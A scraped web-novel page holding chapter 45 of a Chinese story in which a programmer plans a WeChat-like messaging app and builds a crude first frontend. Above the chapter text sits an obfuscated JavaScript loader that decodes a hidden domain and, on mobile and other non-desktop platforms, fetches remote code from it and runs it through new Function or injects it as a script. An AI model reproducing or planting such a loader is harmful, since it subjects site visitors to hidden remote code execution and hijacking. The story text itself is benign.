妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

45.最丑微讯(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('等到两人回到大学城,时间已经是夜里十点。

路舟将叶轻尘送到了楼上后,便回到了自己家中。

他烧开了一壶热水,在厨房取出咖啡罐,拿了杯子冲了一杯浓咖啡,一手提了杯子,再从背包中掏出香烟。

他准备捕捉自己在今天车上的灵光一现。

即使路舟是一个威信重度使用者,即使他知道威信各个版本中比较重要的更新,但是路舟也仍然无法复制一个如同企鹅威信一样的应用。

他可以从产品逆推产品逻辑,进而设计相关子业务,但是从代码实现上来说重合的可能性基本为零。

同样一个思路,在两个程序员手中,最终都会写出两种代码,即使运行结果都是一样的。

路舟在纸张上画了自己印象中威信早期的应用界面。

“丑得有点过分......”

实在无力吐槽,他只能将就看纸上的“威信”,一边将产品逻辑进行切分。

“刨除大量后续更新,威信最本质的功能就是通讯。”

他略为思考了一番,将微讯的整体设想分成了三个基本服务:入口服务、基础服务、社交服务。

入口服务初期指登陆注册认证,后续则会涉及支付认证。

基础服务中,包含了账户个人信息、通讯录和朋友关系。

社交服务,包含消息收发、推送和群组。

当用户从登陆微讯,微讯客户端需要调用入口服务的程序,认证了用户身份后,从本地和服务器提取数据。

除非用户退出应用,取消了登陆状态,否则便不再需要调用入口服务。

而将支付认证也归到入口中,也是考虑到涉及金钱交易,认证自然是必须的过程。

接着,当用户修改个人信息,添加删除好友,微讯客户端就需要调用基础服务的程序,进行相应数据的查询修改。

而用户收发消息,不言而喻,自然是调用社交服务。

这三者中,入口是查询并认证,基础服务是低频修改,而社交则是重度数据的读写。

路舟一边参考着丑陋的草图,一边在开发文档中梳理微讯最基本的功能。

“如果,将微讯开发出来仅仅几个人使用,倒是简单。但一个几人用的应用,和一个国民级别的应用,两者即使在最本质上都是一样的,最终要付出的真是天差地别。”

好比,入口服务,几个人用并不会存在同一时间内几个人同时登陆,但是千万上亿人,这样的概率就会大大增加。

一个简单的登陆行为,会因为用户量增加,而使得问题的维度变得无比复杂。

这就更别提社交服务,这种高频使用的功能中间的技术难度。

当然,再犯头疼也还是要硬着头皮上,不然路舟刚什么企鹅。

而且话又说回来,再复杂也要一步步从最简单的代码一行行写起。

路舟将草图用手机拍成图片,而后用ps简单处理,将绘画的图标切成应用图标,并去掉了背景色。

一边,他从自己的电脑代码仓库中,调了一个以前写的安卓应用出来。

他简单地调整了一些应用布局和配色,再将应用图标更换掉,有史以来最丑“微讯”前端版本就诞生了。

“......”

他无奈地笑了笑,“简直丑得不能再丑了,这配色,这图标。审美无能啊。”

当然,他也就勉强自己测试使用,事后必然还要交给其他人重新设计和调整。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间